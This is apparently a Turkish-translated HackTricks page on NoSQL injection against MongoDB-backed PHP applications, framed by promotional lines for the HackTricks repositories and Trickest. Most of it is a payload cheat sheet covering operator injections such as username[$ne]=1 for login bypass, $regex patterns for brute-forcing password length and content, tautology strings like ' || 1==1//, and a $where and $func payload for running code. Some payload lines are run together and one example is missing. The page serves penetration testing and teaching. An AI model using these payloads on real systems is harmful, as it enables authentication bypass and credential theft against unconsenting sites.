Hacking püf noktalarınızı paylaşarak PR'ler göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Sömürü
PHP'de, gönderilen parametreyi parameter=foo yerine parameter[arrName]=foo olarak değiştirerek bir Dizi gönderebilirsiniz.
Sömürüler, bir Operatör ekleyerek yapılır:
username[$ne]=1$password[$ne]=1#<Not Equals>username[$regex]=^adm$password[$ne]=1#Check a <regular expression>, could be used to brute-force a parameterusername[$regex]=.{25}&pass[$ne]=1#Use the <regex> to find the length of a valueusername[$eq]=admin&password[$ne]=1#<Equals>username[$ne]=admin&pass[$lt]=s#<Less than>, Brute-force pass[$lt] to find more usersusername[$ne]=admin&pass[$gt]=s#<Greater Than>username[$nin][admin]=admin&username[$nin][test]=test&pass[$ne]=7 #<Matches non of the values of the array> (not test and not admin)
{ $where: "this.credits == this.debits"}#<IF>,canbeusedtoexecutecode
Temel kimlik doğrulama atlatma
Eşit olmayan ($ne) veya daha büyük ($gt) kullanarak
Bir saldırgan, sorguyu bir tautoloji ('a'=='a') ile karşılayarak tüm belgeleri döndüren admin' || 'a'=='a gibi dizeleri girdi girerek bunu sömürebilir. Bu, SQL enjeksiyon saldırılarına benzerdir; burada ' or 1=1-- - gibi girdiler kullanılarak SQL sorguları manipüle edilir. MongoDB'de, benzer enjeksiyonlar ' || 1==1//, ' || 1==1%00 veya admin' || 'a'=='a gibi girdiler kullanılarak yapılabilir.
Normal sql: ' or 1=1-- -
Mongo sql: ' || 1==1// or ' || 1==1%00 or admin' || 'a'=='a
Uzunluk bilgisini çıkarın
username[$ne]=toto&password[$regex]=.{1}username[$ne]=toto&password[$regex]=.{3}# True if the length equals 1,3...
Varsayılan olarak kullanılan MongoLite kütüphanesinin $func operatörünü kullanarak bu raporda olduğu gibi keyfi bir fonksiyon yürütmek mümkün olabilir.
"user":{"$func":"var_dump"}
Farklı koleksiyondan bilgi alın
Farklı bir koleksiyondan bilgi almak için $lookup kullanmak mümkündür. Aşağıdaki örnekte, users adlı farklı bir koleksiyondan okuma yapıyoruz ve bir jokerle eşleşen bir şifreye sahip tüm girişlerin sonuçlarını alıyoruz.
NOT:$lookup ve diğer birleştirme işlevleri, aramanın daha yaygın olan find() veya findOne() işlevleri yerine kullanıldığında yalnızca kullanılabilir.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen otomatik iş akışları oluşturun ve otomatikleştirin.
Bugün Erişim Edinin:
Hacking püf noktalarınızı paylaşarak PR'lar göndererekHackTricks ve HackTricks Cloud github depolarına katkıda bulunun.
Trickest kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen iş akışlarını kolayca oluşturun ve otomatikleştirin.
Bugün Erişim Alın: